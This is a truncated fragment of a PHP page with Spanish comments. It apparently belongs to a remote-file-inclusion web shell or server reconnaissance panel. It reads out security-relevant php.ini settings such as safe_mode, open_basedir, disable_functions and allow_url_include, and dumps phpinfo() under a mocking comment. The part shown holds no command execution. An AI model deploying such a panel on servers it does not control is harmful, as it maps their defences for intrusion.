  304. <div class="headoculto contenedorgrande contenedor" id="headoculto">
  305. <div style="float:left;width:10%;height:100%; position:relative; top:50%;">
  306. <br><br><br><br>
  307. <script>
  308. function ocultar(){
  309. document.getElementById("flechaizquierda").style.display="";
  310. document.getElementById("flechaderecha").style.display="none";
  311. document.getElementById("headoculto").style.right="-16%";
  312. document.getElementById("contenedorgrande").style.margin="2% auto 2% auto";
  313. document.getElementById("contenedorabajo").style.margin="2% auto 2% auto";
  314. document.cookie = "lateral=OFF; path=/";
  315. }
  316. function mostrar(){
  317. document.getElementById("flechaizquierda").style.display="none";
  318. document.getElementById("flechaderecha").style.display="";
  319. document.getElementById("headoculto").style.right="0";
  320. document.getElementById("contenedorgrande").style.margin="2% auto 2% 2%";
  321. document.getElementById("contenedorabajo").style.margin="2% auto 2% 2%";
  322. document.cookie = "lateral=ON; path=/";
  323. }
  324. </script>
  325. <img src="'.$rfiurl.'w=img&imagen=derecha" alt="&gt; &gt;" id="flechaderecha" onclick="ocultar();">
  326. <img src="'.$rfiurl.'w=img&imagen=izquierda" style="display:none;" id="flechaizquierda" alt="&lt; &lt;" onclick="mostrar();">
  327. </div>
  328. <div style="float:right; width: 90%; margin: auto 0 auto 0; overflow:auto;">'.mostrarinformacion().'
  329. </div>
  330. </div>
  331. <div class="contenedorgrande" id="contenedorgrande">
  332. <div class="contenedor">
  333. ';
  334. switch($_GET['w']){
  335. /* Mostramos las directivas mas importantes de php.ini y su explicación */
  336. case 'directivas';
  337. /* Creamos un array con todas las directivas y su descripcion */
  338. //safe mode http://ar2.php.net/manual/en/ini.sect.safe-mode.php
  339. $functions[]=array("<h2>Safe-Mode</h2>",'<a href="http://ar2.php.net/manual/en/ini.sect.safe-mode.php">http://ar2.php.net/manual/en/ini.sect.safe-mode.php</a>');
  340. $functions[]=leerconfig('safe_mode',' Whether to enable PHP&#039;s safe mode. If PHP is compiled with --enable-safe-mode then defaults to On, otherwise Off.');
  341. $functions[]=leerconfig('safe_mode_gid',' By default, Safe Mode does a UID compare check when opening files. If you want to relax this to a GID compare, then turn on safe_mode_gid. Whether to use UID (FALSE) or GID (TRUE) checking upon file access. ');
  342. $functions[]=leerconfig('safe_mode_include_dir',' UID/GID checks are bypassed when including files from this directory and its subdirectories (directory must also be in include_path or full path must including). As of PHP 4.2.0, this directive can take a colon (semi-colon on Windows) separated path in a fashion similar to the include_path directive, rather than just a single directory. The restriction specified is actually a prefix, not a directory name. This means that &quot;safe_mode_include_dir = /dir/incl&quot; also allows access to &quot;/dir/include&quot; and &quot;/dir/incls&quot; if they exist. When you want to restrict access to only the specified directory, end with a slash. For example: &quot;safe_mode_include_dir = /dir/incl/&quot; If the value of this directive is empty, no files with different UID/GID can be included in PHP 4.2.3 and as of PHP 4.3.3. In earlier versions, all files could be included. ');
  343. $functions[]=leerconfig('safe_mode_exec_dir',' If PHP is used in safe mode, system() and the other functions executing system programs refuse to start programs that are not in this directory. You have to use / as directory separator on all environments including Windows. ');
  344. $functions[]=leerconfig('safe_mode_allowed_env_vars',' Setting certain environment variables may be a potential security breach. This directive contains a comma-delimited list of prefixes. In Safe Mode, the user may only alter environment variables whose names begin with the prefixes supplied here. By default, users will only be able to set environment variables that begin with PHP_ (e.g. PHP_FOO=BAR). Note: If this directive is empty, PHP will let the user modify ANY environment variable! ');
  345. $functions[]=leerconfig('safe_mode_protected_env_vars',' This directive contains a comma-delimited list of environment variables that the end user won&#039;t be able to change using putenv(). These variables will be protected even if safe_mode_allowed_env_vars is set to allow to change them. ');
  346. $functions[]=leerconfig('open_basedir',' Limit the files that can be opened by PHP to the specified directory-tree, including the file itself. This directive is NOT affected by whether Safe Mode is turned On or Off. When a script tries to open a file with, for example, fopen() or gzopen(), the location of the file is checked. When the file is outside the specified directory-tree, PHP will refuse to open it. All symbolic links are resolved, so it&#039;s not possible to avoid this restriction with a symlink. If the file doesn&#039;t exist then the symlink couldn&#039;t be resolved and the filename is compared to (a resolved) open_basedir. The special value . indicates that the working directory of the script will be used as the base-directory. This is, however, a little dangerous as the working directory of the script can easily be changed with chdir(). In httpd.conf, open_basedir can be turned off (e.g. for some virtual hosts) the same way as any other configuration directive with &quot;php_admin_value open_basedir none&quot;. Under Windows, separate the directories with a semicolon. On all other systems, separate the directories with a colon. As an Apache module, open_basedir paths from parent directories are now automatically inherited. The restriction specified with open_basedir is actually a prefix, not a directory name. This means that &quot;open_basedir = /dir/incl&quot; also allows access to &quot;/dir/include&quot; and &quot;/dir/incls&quot; if they exist. When you want to restrict access to only the specified directory, end with a slash. For example: open_basedir = /dir/incl/ The default is to allow all files to be opened. Note: As of PHP 5.3.0 open_basedir can be tightened at run-time. This means that if open_basedir is set to /www/ in php.ini a script can tighten the configuration to /www/tmp/ at run-time with ini_set() ');
  347. $functions[]=leerconfig('disable_functions',' This directive allows you to disable certain functions for security reasons. It takes on a comma-delimited list of function names. disable_functions is not affected by Safe Mode. This directive must be set in php.ini For example, you cannot set this in httpd.conf. ');
  348. $functions[]=leerconfig('disable_classes',' This directive allows you to disable certain classes for security reasons. It takes on a comma-delimited list of class names. disable_classes is not affected by Safe Mode. This directive must be set in php.ini For example, you cannot set this in httpd.conf. ');
  349. //errores http://ar2.php.net/manual/en/errorfunc.configuration.php
  350. $functions[]=array("<h2>Errores</h2>",'<a href="http://ar2.php.net/manual/en/errorfunc.configuration.php">http://ar2.php.net/manual/en/errorfunc.configuration.php</a>');
  351. $functions[]=leerconfig('log_errors',' Tells whether script error messages should be logged to the server&#039;s error log or error_log. This option is thus server-specific. Note: You&#039;re strongly advised to use error logging in place of error displaying on production web sites. ');
  352. $functions[]=leerconfig('log_errors_max_len',' Set the maximum length of log_errors in bytes. In error_log information about the source is added. The default is 1024 and 0 allows to not apply any maximum length at all. This length is applied to logged errors, displayed errors and also to $php_errormsg. When an integer is used, the value is measured in bytes. Shorthand notation, as described in this FAQ, may also be used. ');
  353. $functions[]=leerconfig('error_log',' Name of the file where script errors should be logged. The file should be writable by the web server&#039;s user. If the special value syslog is used, the errors are sent to the system logger instead. On Unix, this means syslog(3) and on Windows NT it means the event log. The system logger is not supported on Windows 95. See also: syslog(). If this directive is not set, errors are sent to the SAPI error logger. For example, it is an error log in Apache or stderr in CLI.');
  354. $functions[]=leerconfig('error_reporting',' Set the error reporting level. The parameter is either an integer representing a bit field, or named constants. The error_reporting levels and constants are described in Predefined Constants, and in php.ini. To set at runtime, use the error_reporting() function. See also the display_errors directive. In PHP 4 and PHP 5 the default value is E_ALL & ~E_NOTICE. This setting does not show E_NOTICE level errors. You may want to show them during development. ');
  355. //Nucleo http://ar2.php.net/manual/en/ini.core.php
  356. $functions[]=array("<h2>Lenguaje</h2>",'<a href="http://ar2.php.net/manual/en/ini.core.php">http://ar2.php.net/manual/en/ini.core.php</a>');
  357. $functions[]=leerconfig('short_open_tag',' Tells whether the short form (&lt;? ?&gt; ) of PHP&#039;s open tag should be allowed. If you want to use PHP in combination with XML, you can disable this option in order to use &lt;?xml ?&gt; inline. Otherwise, you can print it with PHP, for example: &lt;?php echo &#039;&lt;?xml version=&quot;1.0&quot;?&gt;&#039;; ?&gt; . Also if disabled, you must use the long form of the PHP open tag (&lt;?php ?&gt; ). Note: This directive also affects the shorthand &lt;?= , which is identical to &lt;? echo . Use of this shortcut requires short_open_tag to be on. ');
  358. $functions[]=leerconfig('asp_tags',' Enables the use of ASP-like &lt;% %&gt; tags in addition to the usual &lt;?php ?&gt; tags. This includes the variable-value printing shorthand of &lt;%= $value %&gt;. For more information, see Escaping from HTML. ');
  359. //Limite de recursos http://ar2.php.net/manual/en/ini.core.php
  360. $functions[]=array("<h2>Limite de recursos</h2>",'<a href="http://ar2.php.net/manual/en/ini.core.php">http://ar2.php.net/manual/en/ini.core.php</a>');
  361. $functions[]=leerconfig('memory_limit',' This sets the maximum amount of memory in bytes that a script is allowed to allocate. This helps prevent poorly written scripts for eating up all available memory on a server. Note that to have no memory limit, set this directive to -1. Prior to PHP 5.2.1, in order to use this directive it had to be enabled at compile time by using -enable-memory-limit in the configure line. This was also required to define the functions memory_get_usage() and memory_get_peak_usage(). When an integer is used, the value is measured in bytes. Shorthand notation, as described in this FAQ, may also be used. ');
  362. //Manejo de datos http://ar2.php.net/manual/en/ini.core.php
  363. $functions[]=array("<h2>Manejo de datos</h2>",'<a href="http://ar2.php.net/manual/en/ini.core.php">http://ar2.php.net/manual/en/ini.core.php</a>');
  364. $functions[]=leerconfig('register_globals',' Whether or not to register the EGPCS (Environment, GET, POST, Cookie, Server) variables as global variables. As of ť PHP 4.2.0, this directive defaults to off. Please read the security chapter on Using register_globals for related information. Please note that register_globals cannot be set at runtime (ini_set()). Although, you can use .htaccess if your host allows it as described above. An example .htaccess entry: php_flag register_globals off . Note: register_globals is affected by the variables_order directive. ');
  365. $functions[]=leerconfig('post_max_size','Sets max size of post data allowed. This setting also affects file upload. To upload large files, this value must be larger than upload_max_filesize. If memory limit is enabled by your configure script, memory_limit also affects file uploading. Generally speaking, memory_limit should be larger than post_max_size . When an integer is used, the value is measured in bytes. Shorthand notation, as described in this FAQ, may also be used. If the size of post data is greater than post_max_size, the $_POST and $_FILES superglobals are empty. This can be tracked in various ways, e.g. by passing the $_GET variable to the script processing the data, i.e. &lt;form action=&quot;edit.php?processed=1&quot;&gt;, and then checking if $_GET[&#039;processed&#039;] is set.');
  366. $functions[]=leerconfig('gpc_order',' Set the order of GET/POST/COOKIE variable parsing. The default setting of this directive is "GPC". Setting this to "GP", for example, will cause PHP to completely ignore cookies and to overwrite any GET method variables with POST-method variables of the same name. Note: This option is not available in PHP 4. Use variables_order instead. ');
  367. $functions[]=leerconfig('auto_prepend_file',' Specifies the name of a file that is automatically parsed before the main file. The file is included as if it was called with the require() function, so include_path is used. The special value none disables auto-prepending.');
  368. $functions[]=leerconfig('auto_append_file',' Specifies the name of a file that is automatically parsed after the main file. The file is included as if it was called with the require() function, so include_path is used. The special value none disables auto-appending. Note: If the script is terminated with exit(), auto-append will not occur. ');
  369. $functions[]=leerconfig('default_charset',' As of 4.0.0, PHP always outputs a character encoding by default in the Content-type: header. To disable sending of the charset, simply set it to be empty. ');
  370. $functions[]=leerconfig('allow_webdav_methods',' Allow handling of WebDAV http requests within PHP scripts (eg. PROPFIND, PROPPATCH, MOVE, COPY, etc.). This directive does not exist as of PHP 4.3.2. If you want to get the post data of those requests, you have to set always_populate_raw_post_data as well. ');
  371. //Rutas y carpetas http://ar2.php.net/manual/en/ini.core.php
  372. $functions[]=array("<h2>Rutas y carpetas</h2>",'<a href="http://ar2.php.net/manual/en/ini.core.php">http://ar2.php.net/manual/en/ini.core.php</a>');
  373. $functions[]=leerconfig('include_path',' Specifies a list of directories where the require(), include(), fopen(), file(), readfile() and file_get_contents() functions look for files. The format is like the system&#039;s PATH environment variable: a list of directories separated with a colon in Unix or semicolon in Windows. ');
  374. $functions[]=leerconfig('doc_root',' PHP&#039;s &quot;root directory&quot; on the server. Only used if non-empty. If PHP is configured with safe mode, no files outside this directory are served. If PHP was not compiled with FORCE_REDIRECT, you should set doc_root if you are running PHP as a CGI under any web server (other than IIS). The alternative is to use the cgi.force_redirect configuration below. ');
  375. $functions[]=leerconfig('user_dir',' The base name of the directory used on a user&#039;s home directory for PHP files, for example public_html.');
  376. $functions[]=leerconfig('extension_dir',' In what directory PHP should look for dynamically loadable extensions. See also: enable_dl, and dl(). ');
  377. $functions[]=leerconfig('extension',' Which dynamically loadable extensions to load when PHP starts up.');
  378. $functions[]=leerconfig('zend_extension',' Absolute path to dynamically loadable Zend extension (for example APD) to load when PHP starts up. ');
  379. $functions[]=leerconfig('zend_extension_debug',' Variant of zend_extension for extensions compilled with debug info. ');
  380. $functions[]=leerconfig('zend_extension_debug_ts',' Variant of zend_extension for extensions compilled with debug info and thread safety. ');
  381. $functions[]=leerconfig('zend_extension_ts',' Variant of zend_extension for extensions compilled with thread safety. ');
  382. $functions[]=leerconfig('cgi.force_redirect',' cgi.force_redirect is necessary to provide security running PHP as a CGI under most web servers. Left undefined, PHP turns this on by default. You can turn it off at your own risk. Note: Windows Users: You can safely turn this off for IIS, in fact, you must. To get OmniHTTPD or Xitami to work you must turn it off. ');
  383. //Subida de archivos http://ar2.php.net/manual/en/ini.core.php
  384. $functions[]=array("<h2>Subida de archivos</h2>",'<a href="http://ar2.php.net/manual/en/ini.core.php">http://ar2.php.net/manual/en/ini.core.php</a>');
  385. $functions[]=leerconfig('file_uploads',' Whether or not to allow HTTP file uploads. See also the upload_max_filesize, upload_tmp_dir, and post_max_size directives. When an integer is used, the value is measured in bytes. Shorthand notation, as described in this FAQ, may also be used. ');
  386. $functions[]=leerconfig('upload_tmp_dir','The temporary directory used for storing files when doing file upload. Must be writable by whatever user PHP is running as. If not specified PHP will use the system&#039;s default. ');
  387. $functions[]=leerconfig('upload_max_filesize',' The maximum size of an uploaded file. When an integer is used, the value is measured in bytes. Shorthand notation, as described in this FAQ, may also be used. ');
  388. //SQL http://ar2.php.net/manual/en/ini.core.php
  389. $functions[]=array("<h2>SQL</h2>",'<a href="http://ar2.php.net/manual/en/ini.core.php">http://ar2.php.net/manual/en/ini.core.php</a>');
  390. $functions[]=leerconfig('sql.safe_mode','If turned on, database connect functions that specify default values will use those values in place of supplied arguments. For default values see connect function documentation for the relevant database. ');
  391. //Ejecución http://ar2.php.net/manual/en/info.configuration.php
  392. $functions[]=array("<h2>Ejecuci&oacute;n</h2>",'<a href="http://ar2.php.net/manual/en/info.configuration.php">http://ar2.php.net/manual/en/info.configuration.php</a>, <a href="http://ar2.php.net/manual/en/filesystem.configuration.php">http://ar2.php.net/manual/en/filesystem.configuration.php</a>');
  393. $functions[]=leerconfig('enable_dl',' This directive is really only useful in the Apache module version of PHP. You can turn dynamic loading of PHP extensions with dl() on and off per virtual server or per directory. The main reason for turning dynamic loading off is security. With dynamic loading, it&#039;s possible to ignore all open_basedir restrictions. The default is to allow dynamic loading, except when using safe mode. In safe mode, it&#039;s always impossible to use dl().');
  394. $functions[]=leerconfig('max_execution_time',' This sets the maximum time in seconds a script is allowed to run before it is terminated by the parser. This helps prevent poorly written scripts from tying up the server. The default setting is 30. When running PHP from the command line the default setting is 0. The maximum execution time is not affected by system calls, stream operations etc. Please see the set_time_limit() function for more details. You can not change this setting with ini_set() when running in safe mode. The only workaround is to turn off safe mode or by changing the time limit in the php.ini. Your web server can have other timeout configurations that may also interrupt PHP execution. Apache has a Timeout directive and IIS has a CGI timeout function. Both default to 300 seconds. See your web server documentation for specific details.');
  395. $functions[]=leerconfig('magic_quotes_gpc',' Sets the magic_quotes state for GPC (Get/Post/Cookie) operations. When magic_quotes are on, all &#039; (single-quote), &quot; (double quote), \ (backslash) and NUL&#039;s are escaped with a backslash automatically. Note: In PHP 4, also $_ENV variables are escaped. Note: If the magic_quotes_sybase directive is also ON it will completely override magic_quotes_gpc. Having both directives enabled means only single quotes are escaped as &#039;&#039;. Double quotes, backslashes and NUL&#039;s will remain untouched and unescaped. ');
  396. $functions[]=leerconfig('magic_quotes_runtime','If magic_quotes_runtime is enabled, most functions that return data from any sort of external source including databases and text files will have quotes escaped with a backslash. If magic_quotes_sybase is also on, a single-quote is escaped with a single-quote instead of a backslash. ');
  397. $functions[]=leerconfig('allow_url_fopen',' This option enables the URL-aware fopen wrappers that enable accessing URL object like files. Default wrappers are provided for the access of remote files using the ftp or http protocol, some extensions like zlib may register additional wrappers. Note: This setting can only be set in php.ini due to security reasons. Note: This option was introduced immediately after the release of version 4.0.3. For versions up to and including 4.0.3 you can only disable this feature at compile time by using the configuration switch --disable-url-fopen-wrapper . ');
  398. $functions[]=leerconfig('allow_url_include',' This option allows the use of URL-aware fopen wrappers with the following functions: include(), include_once(), require(), require_once(). Note: This setting requires allow_url_fopen to be on. ');
  399. $functions[]=leerconfig('default_socket_timeout',' Default timeout (in seconds) for socket based streams. Note: This configuration option was introduced in PHP 4.3.0 ');
  400. /* Mostramos el titulo */
  401. echo '<div style="text-align:center;">
  402. <a href="'.$rfiurl.'" class="sinsubrayado"><h1>'.$nombre.'</h1></a><br><br>
  403. </div>';
  404. /* Mostramos toda la información del array */
  405. foreach ($functions as $funcion){
  406. echo $funcion[0].' =&gt; '.$funcion[1].'<br>';
  407. }
  408. break;
  409. /* PHPInfo */
  410. case 'phpinfo':
  411. /* Mostramos el titulo */
  412. echo '<div style="text-align:center;">
  413. <a href="'.$rfiurl.'" class="sinsubrayado"><h1>'.$nombre.'</h1></a><br><br>
  414. </div>';
  415. /* All your phpinfo() are belog to us */
  416. ob_flush();
  417. ob_start();
  418. $disponible = phpinfo();
  419. $phpinfo = ob_get_clean();
  420. // Eliminamos un pedazo de html que agrega el phpinfo para que no quede duplicado
  421. $phpinfo = str_replace('</body></html>','',substr($phpinfo,strpos($phpinfo,'<body>')+6));
  422. ob_end_clean();
  423. echo ($disponible ? '<div id="phpinf…

Large files files are truncated, but you can click here to view the full file